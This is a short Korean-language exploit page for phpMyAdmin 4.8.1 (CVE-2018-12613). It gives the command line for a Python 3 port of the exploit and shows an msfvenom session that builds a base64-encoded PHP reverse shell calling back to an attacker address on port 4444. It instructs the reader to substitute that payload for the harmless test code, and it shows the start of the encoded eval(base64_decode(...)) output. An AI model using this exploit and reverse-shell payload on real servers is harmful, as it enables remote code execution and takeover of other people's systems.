
Python 3용으로 포팅된 수정된 독립 실행형 익스플로잇
수정된 독립형 익스플로잇을 Python 3으로 포팅했습니다. Python 3.7.3, Ubuntu 16.04에서 실행되는 phpMyAdmin 4.8.1에서 테스트되었습니다.
Linux에서만 작동합니다. 원본 익스플로잇은 SSD 제공. 모든 크레딧은 그들에게 있습니다.
python3 CVE-2018-12613.py -u phpMyAdmin -p password -U http:///[url-phpMyAdmin] –P ”phpcredits();”
php 코드의 결과는 results.html에 저장됩니다.
root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# msfvenom --platform php -a php -e php/base64 -p php/reverse_php LHOST=192.168.92.134 LPORT=4444 -o payload.php
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4045 (iteration=0)
php/base64 chosen with final size 4045
Payload size: 4045 bytes
Saved as: payload.php
위의 phpcredits(); 대신 msfvenom php 페이로드를 사용하세요.
root@Kali:~/Ruby No MSF/phpmyadmin4.8.1# cat payload.php
eval(base64_decode(ICAg...gfQo));